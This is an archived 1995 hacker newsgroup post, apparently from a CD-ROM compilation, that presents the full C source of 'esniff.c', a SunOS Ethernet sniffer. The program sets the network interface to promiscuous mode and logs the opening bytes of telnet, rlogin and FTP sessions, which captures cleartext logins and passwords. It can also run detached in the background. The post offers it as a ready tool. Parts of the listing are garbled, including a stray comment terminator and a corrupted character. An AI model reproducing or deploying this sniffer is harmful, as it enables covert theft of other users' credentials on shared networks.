home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / internet / esniff.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  13.6 KB  |  550 lines

  1. ─ &ALT.2600 (1:340/26) ───────────────────────────────────────────── &ALT.2600 ─
  2.  Msg  : 455 of 500                                                              
  3.  From : Deb Gibs0n                  1:340/13                02 Dec 95  06:57:58 
  4.  To   : All                                                 02 Dec 95  10:47:46 
  5.  Subj : Re: Reg : Packet Sniffer                                                
  6. ────────────────────────────────────────────────────────────────────────────────
  7. .RFC-Path:
  8. news.spydernet.com!nntp.pinc.com!news.bctel.net!imci2!newsfeed.internetmci.com!h
  9. owland.reston.ans.net!news-e1a.megaweb.com!newstf01.news.aol.com!newsbf02.news.a
  10. ol.com!not-for-mail
  11. From: debgibs0n@aol.com (Deb Gibs0n)
  12. .RFC-Sender: root@newsbf02.news.aol.com
  13. .RFC-Message-ID: <49pphn$ib8@newsbf02.news.aol.com>
  14. .RFC-References: <DIrKDC.97q@cf.ac.uk>
  15. Reply-To: debgibs0n@aol.com (Deb Gibs0n)
  16. .RFC-NNTP-Posting-Host: newsbf02.mail.aol.com
  17.  
  18. cut and make this file: esniff.c
  19. note, must run any ethernet sniffer as root in order to enter promiscuious
  20. mode. spelling sux.
  21.  
  22. --------------cut here-----------------
  23. #include <stdio.h>
  24. #include <ctype.h>
  25. #include <string.h>
  26.  
  27. #include <sys/time.h>
  28. #include <sys/file.h>
  29. #include <sys/stropts.h>
  30. #include <sys/signal.h>
  31. #include <sys/types.h>
  32. #include <sys/socket.h>
  33. #include <sys/ioctl.h>
  34.  
  35. #include <net/if.h>
  36. #include <net/nit_if.h>
  37. #include <net/nit_buf.h>
  38. #include <net/if_arp.h>
  39.  
  40. #include <netinet/in.h>
  41. #include <netinet/if_ether.h>
  42. #include <netinet/in_systm.h>
  43. #include <netinet/ip.h>
  44. #include <netinet/udp.h>
  45. #include <netinet/ip_var.h>
  46. #include <netinet/udp_var.h>
  47. #include <netinet/in_systm.h>
  48. #include <netinet/tcp.h>
  49. #include <netinet/ip_icmp.h>
  50.  
  51. #include <netdb.h>
  52. #include <arpa/inet.h>
  53.  
  54. #define ERR stderr
  55.  
  56. char    *malloc();
  57. char    *device,
  58.        *ProgName,
  59.        *LogName;
  60. FILE    *LOG;
  61. int     debug=0;
  62.  
  63. #define NIT_DEV     "/dev/nit"
  64. #define CHUNKSIZE   4096        /* device buffer size */
  65. int     if_fd = -1;
  66. int     Packet[CHUNKSIZE+32];
  67.  
  68. void Pexit(err,msg)
  69. int err; char *msg;
  70. { perror(msg);
  71.   exit(err); }
  72.  
  73. void Zexit(err,msg)
  74. int err; char *msg;
  75. { fprintf(ERR,msg);
  76.   exit(err); }
  77.  
  78. #define IP          ((struct ip *)Packet)
  79. #define IP_OFFSET   (0x1FFF)
  80. #define SZETH       (sizeof(struct ether_header))
  81. #define IPLEN       (ntohs(ip->ip_len))
  82. #define IPHLEN      (ip->ip_hl)
  83. #define TCPOFF      (tcph->th_off)
  84. #define IPS         (ip->ip_src)
  85. #define IPD         (ip->ip_dst)
  86. #define TCPS        (tcph->th_sport)
  87. #define TCPD        (tcph->th_dport)
  88. #define IPeq(s,t)   ((s).s_addr == (t).s_addr)
  89.  
  90. #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
  91.  
  92. #define MAXBUFLEN  (128)
  93. time_t  LastTIME = 0;
  94.  
  95. struct CREC {
  96.     struct CREC *Next,
  97.          *Last;
  98.     time_t  Time;              /* start time */
  99.     struct in_addr SRCip,
  100.             DSTip;
  101.     u_int   SRCport,           /* src/dst ports */
  102.          DSTport;
  103.     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
  104.     u_int   Length;            /* current data length */
  105.     u_int   PKcnt;             /* # pkts */
  106.     u_long  LASTseq;
  107. };
  108.  
  109. struct CREC *CLroot = NULL;
  110.  
  111. char *Symaddr(ip)
  112. register struct in_addr ip;
  113. { register struct hostent *he =
  114.      gethostbyaddr((char *)&ip.s_addr, sizeof(struct
  115. in_addr),AF_INET);
  116.  
  117.   return( (he)?(he->h_name):(inet_ntoa(ip)) );
  118. }
  119.  
  120. char *TCPflags(flgs)
  121. register u_char flgs;
  122. { static char iobuf[8];
  123. #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
  124.  
  125.   SFL(0,TH_FIN, 'F');
  126.   SFL(1,TH_SYN, 'S');
  127.   SFL(2,TH_RST, 'R');
  128.   SFL(3,TH_PUSH,'P');
  129.   SFL(4,TH_ACK, 'A');
  130.   SFL(5,TH_URG, 'U');
  131.   iobuf[6]=0;
  132.   return(iobuf);
  133. }
  134.  
  135. char *SERVp(port)
  136. register u_int port;
  137. { static char buf[10];
  138.   register char *p;
  139.  
  140.    switch(port) {
  141.     case IPPORT_LOGINSERVER: p="rlogin"; break;
  142.     case IPPORT_TELNET:      p="telnet"; break;
  143.     case IPPORT_SMTP:        p="smtp"; break;
  144.     case IPPORT_FTP:         p="ftp"; break;
  145.     default: sprintf(buf,"%u",port); p=buf; break;
  146.    }
  147.    return(p);
  148. }
  149.  
  150. char *Ptm(t)
  151. register time_t *t;
  152. { register char *p = ctime(t);
  153.   p[strlen(p)-6]=0; /* strip " YYYY\n" */
  154.   return(p);
  155. }
  156.  
  157. char *NOWtm()
  158. { time_t tm;
  159.   time(&tm);
  160.   return( Ptm(&tm) );
  161. }
  162.  
  163. #define MAX(a,b) (((a)>(b))?(a):(b))
  164. #define MIN(a,b) (((a)<(b))?(a):(b))
  165.  
  166. /* add an item */
  167. #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  168.   register struct CREC *CLtmp = \
  169.        (struct CREC *)malloc(sizeof(struct CREC)); \
  170.   time( &(CLtmp->Time) ); \
  171.   CLtmp->SRCip.s_addr = SIP.s_addr; \
  172.   CLtmp->DSTip.s_addr = DIP.s_addr; \
  173.   CLtmp->SRCport = SPORT; \
  174.   CLtmp->DSTport = DPORT; \
  175.   CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  176.   bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  177.   CLtmp->PKcnt = 1; \
  178.   CLtmp->Next = CLroot; \
  179.   CLtmp->Last = NULL; \
  180.   CLroot = CLtmp; \
  181. }
  182.  
  183. register struct CREC *GET_NODE(Sip,SP,Dip,DP)
  184. register struct in_addr Sip,Dip;
  185. register u_int SP,DP;
  186. { register struct CREC *CLr = CLroot;
  187.  
  188.   while(CLr != NULL) {
  189.     if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
  190.        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
  191.         break;
  192.     CLr = CLr->Next;
  193.   }
  194.   return(CLr);
  195. }
  196.  
  197. #define ADDDATA_NODE(CL,DATA,LEN) { \
  198.  bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
  199.  
  200.  CL->Length += LEN; \
  201.  
  202. }
  203.  
  204. #define PR_DATA(dp,ln) {    \
  205.   register u_char lastc=0; \
  206.   while(ln-- >0) { \
  207.     if(*dp < 32) {  \
  208.        switch(*dp) { \
  209.         case '\0': if((lastc=='\r') || (lastc=='\n') ||
  210. lastc=='\0') \
  211.                 break; \
  212.         case '\r': \
  213.         case '\n': fprintf(LOG,"\n     : "); \
  214.                 break; \
  215.         default  : fprintf(LOG,"^%c", (*dp + 64)); \
  216.                 break; \
  217.        } \
  218.     } else { \
  219.        if(isprint(*dp)) fputc(*dp,LOG); \
  220.        else fprintf(LOG,"(%d)",*dp); \
  221.     } \
  222.     lastc = *dp++; \
  223.   } \
  224.   fflush(LOG); \
  225. }
  226.  
  227. void END_NODE(CLe,d,dl,msg)
  228. register struct CREC *CLe;
  229. register u_char *d;
  230. register int dl;
  231. register char *msg;
  232. {
  233.    fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
  234.    fprintf(LOG," PATH: %s(%s) =>",
  235. Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
  236.    fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
  237.    fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
  238.  
  239. NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
  240.    fprintf(LOG," DATA: ");
  241.     { register u_int i = CLe->Length;
  242.      register u_char *p = CLe->Data;
  243.      PR_DATA(p,i);
  244.      PR_DATA(d,dl);
  245.     }
  246.  
  247.    fprintf(LOG,"\n-- \n");
  248.    fflush(LOG);
  249.  
  250.    if(CLe->Next != NULL)
  251.     CLe->Next->Last = CLe->Last;
  252.    if(CLe->Last != NULL)
  253.     CLe->Last->Next = CLe->Next;
  254.    else
  255.     CLroot = CLe->Next;
  256.    free(CLe);
  257. }
  258.  
  259. /* 30 mins (x 60 seconds) */
  260. #define IDLE_TIMEOUT 1800
  261. #define IDLE_NODE() { \
  262.   time_t tm; \
  263.   time(&tm); \
  264.   if(LastTIME<tm) { \
  265.     register struct CREC *CLe,*CLt = CLroot; \
  266.     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
  267.     while(CLe=CLt) { \
  268.       CLt=CLe->Next; \
  269.       if(CLe->Time <tm) \
  270.        END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
  271.     } \
  272.   } \
  273. }
  274.  
  275. void filter(cp, pktlen)
  276. register char *cp;
  277. register u_int pktlen;
  278. {
  279.  register struct ip     *ip;
  280.  register struct tcphdr *tcph;
  281.  
  282.  { register u_short EtherType=ntohs(((struct ether_header
  283. *)cp)->ether_type);
  284.  
  285.    if(EtherType < 0x600) {
  286.     EtherType = *(u_short *)(cp + SZETH + 6);
  287.     cp+=8; pktlen-=8;
  288.    }
  289.  
  290.    if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
  291.      return;
  292.  }
  293.  
  294.     /* ugh, gotta do an alignment :-( */
  295.  bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
  296.  
  297.  ip = (struct ip *)Packet;
  298.  if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
  299.     return;
  300.  tcph = (struct tcphdr *)(Packet + IPHLEN);
  301.  
  302.  if(!( (TCPD == IPPORT_TELNET) ||
  303.       (TCPD == IPPORT_LOGINSERVER) ||
  304.       (TCPD == IPPORT_FTP)
  305.    )) return;
  306.  
  307.  { register struct CREC *CLm;
  308.    register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  309.    register u_char *p = (u_char *)Packet;
  310.  
  311.    p += ((IPHLEN * 4) + (TCPOFF * 4));
  312.  
  313.  if(debug) {
  314.   fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  315.   fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  316.   fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
  317.  }
  318.  
  319.    if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
  320.  
  321.      CLm->PKcnt++;
  322.  
  323.      if(length>0)
  324.        if( (CLm->Length + length) < MAXBUFLEN ) {
  325.       ADDDATA_NODE( CLm, p,length);
  326.        } else {
  327.       END_NODE( CLm, p,length, "DATA LIMIT");
  328.        }
  329.  
  330.      if(TCPFL(TH_FIN|TH_RST)) {
  331.       END_NODE( CLm, (u_char
  332. *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
  333.      }
  334.  
  335.    } else {
  336.  
  337.      if(TCPFL(TH_SYN)) {
  338.         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
  339.      }
  340.  
  341.    }
  342.  
  343.    IDLE_NODE();
  344.  
  345.  }
  346.  
  347. }
  348.  
  349. /* signal handler
  350.  */
  351. void death()
  352. { register struct CREC *CLe;
  353.  
  354.     while(CLe=CLroot)
  355.        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
  356.  
  357.     fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
  358.     fflush(LOG);
  359.     if(LOG != stdout)
  360.        fclose(LOG);
  361.     exit(1);
  362. }
  363.  
  364. /* opens network interface, performs ioctls and reads from it,
  365.  * passing data to filter function
  366.  */
  367. void do_it()
  368. {
  369.     int cc;
  370.     char *buf;
  371.     u_short sp_ts_len;
  372.  
  373.     if(!(buf=malloc(CHUNKSIZE)))
  374.        Pexit(1,"Eth: malloc");
  375.  
  376. /* this /dev/nit initialization code pinched from etherfind */
  377.   {
  378.     struct strioctl si;
  379.     struct ifreq    ifr;
  380.     struct timeval  timeout;
  381.     u_int  chunksize = CHUNKSIZE;
  382.     u_long if_flags  = NI_PROMISC;
  383.  
  384.     if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
  385.        Pexit(1,"Eth: nit open");
  386.  
  387.     if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
  388.        Pexit(1,"Eth: ioctl (I_SRDOPT)");
  389.  
  390.     si.ic_timout = INFTIM;
  391.  
  392.     if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
  393.        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
  394.  
  395.     timeout.tv_sec = 1;
  396.     timeout.tv_usec = 0;
  397.     si.ic_cmd = NIOCSTIME;
  398.     si.ic_len = sizeof(timeout);
  399.     si.ic_dp  = (char *)&timeout;
  400.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  401.        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
  402.  
  403.     si.ic_cmd = NIOCSCHUNK;
  404.     si.ic_len = sizeof(chunksize);
  405.     si.ic_dp  = (char *)&chunksize;
  406.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  407.        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
  408.  
  409.     strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
  410.     ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
  411.     si.ic_cmd = NIOCBIND;
  412.     si.ic_len = sizeof(ifr);
  413.     si.ic_dp  = (char *)𝔦
  414.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  415.        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
  416.  
  417.     si.ic_cmd = NIOCSFLAGS;
  418.     si.ic_len = sizeof(if_flags);
  419.     si.ic_dp  = (char *)&if_flags;
  420.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  421.        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
  422.  
  423.     if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
  424.        Pexit(1,"Eth: ioctl (I_FLUSH)");
  425.   }
  426.  
  427.     while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
  428.        register char *bp = buf,
  429.               *bufstop = (buf + cc);
  430.  
  431.        while (bp < bufstop) {
  432.         register char *cp = bp;
  433.         register struct nit_bufhdr *hdrp;
  434.  
  435.         hdrp = (struct nit_bufhdr *)cp;
  436.         cp += sizeof(struct nit_bufhdr);
  437.         bp += hdrp->nhb_totlen;
  438.         filter(cp, (u_long)hdrp->nhb_msglen);
  439.        }
  440.     }
  441.     Pexit((-1),"Eth: read");
  442. }
  443.  /* Authorize your proogie,generate your own password and uncomment here
  444. */
  445. /* #define AUTHPASSWD "EloiZgZejWyms" */
  446.  
  447. void getauth()
  448. { char *buf,*getpass(),*crypt();
  449.   char pwd[21],prmpt[81];
  450.  
  451.     strcpy(pwd,AUTHPASSWD);
  452.     sprintf(prmpt,"(%s)UP? ",ProgName);
  453.     buf=getpass(prmpt);
  454.     if(strcmp(pwd,crypt(buf,pwd)))
  455.        exit(1);
  456. }
  457.     */
  458. void main(argc, argv)
  459. int argc;
  460. char **argv;
  461. {
  462.     char   cbuf[BUFSIZ];
  463.     struct ifconf ifc;
  464.     int    s,
  465.        ac=1,
  466.        backg=0;
  467.  
  468.     ProgName=argv[0];
  469.  
  470.  /*     getauth(); */
  471.  
  472.     LOG=NULL;
  473.     device=NULL;
  474.     while((ac<argc) && (argv[ac][0] == '-')) {
  475.       register char ch = argv[ac++][1];
  476.       switch(toupper(ch)) {
  477.         case 'I': device=argv[ac++];
  478.               break;
  479.         case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
  480.               Zexit(1,"Output file cant be
  481. opened\n");
  482.               break;
  483.         case 'B': backg=1;
  484.               break;
  485.         case 'D': debug=1;
  486.               break;
  487.         default : fprintf(ERR,
  488.                 "Usage: %s [-b] [-d] [-i interface]
  489. [-f file]\n",
  490.                  ProgName);
  491.               exit(1);
  492.       }
  493.     }
  494.  
  495.     if(!device) {
  496.        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  497.         Pexit(1,"Eth: socket");
  498.  
  499.        ifc.ifc_len = sizeof(cbuf);
  500.        ifc.ifc_buf = cbuf;
  501.        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
  502.         Pexit(1,"Eth: ioctl");
  503.  
  504.        close(s);
  505.        device = ifc.ifc_req->ifr_name;
  506.     }
  507.  
  508.     fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
  509.     fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
  510.         (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
  511.  
  512.     if(!LOG)
  513.        LOG=stdout;
  514.  
  515.     signal(SIGINT, death);
  516.     signal(SIGTERM,death);
  517.     signal(SIGKILL,death);
  518.     signal(SIGQUIT,death);
  519.  
  520.     if(backg && debug) {
  521.         fprintf(ERR,"[Cannot bg with debug on]\n");
  522.         backg=0;
  523.     }
  524.  
  525.     if(backg) {
  526.        register int s;
  527.  
  528.        if((s=fork())>0) {
  529.        fprintf(ERR,"[pid %d]\n",s);
  530.        exit(0);
  531.        } else if(s<0)
  532.        Pexit(1,"fork");
  533.  
  534.        if( (s=open("/dev/tty",O_RDWR))>0 ) {
  535.         ioctl(s,TIOCNOTTY,(char *)NULL);
  536.         close(s);
  537.        }
  538.     }
  539.     fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
  540.     fflush(LOG);
  541.  
  542.     do_it();
  543. }
  544. ----------------cut here------------------------
  545.  
  546. -lamer
  547. --- ifmail v.2.8.lwz
  548.  * Origin: America Online, Inc. (1-800-827-6364) (1:340/13@fidonet)
  549.  
  550.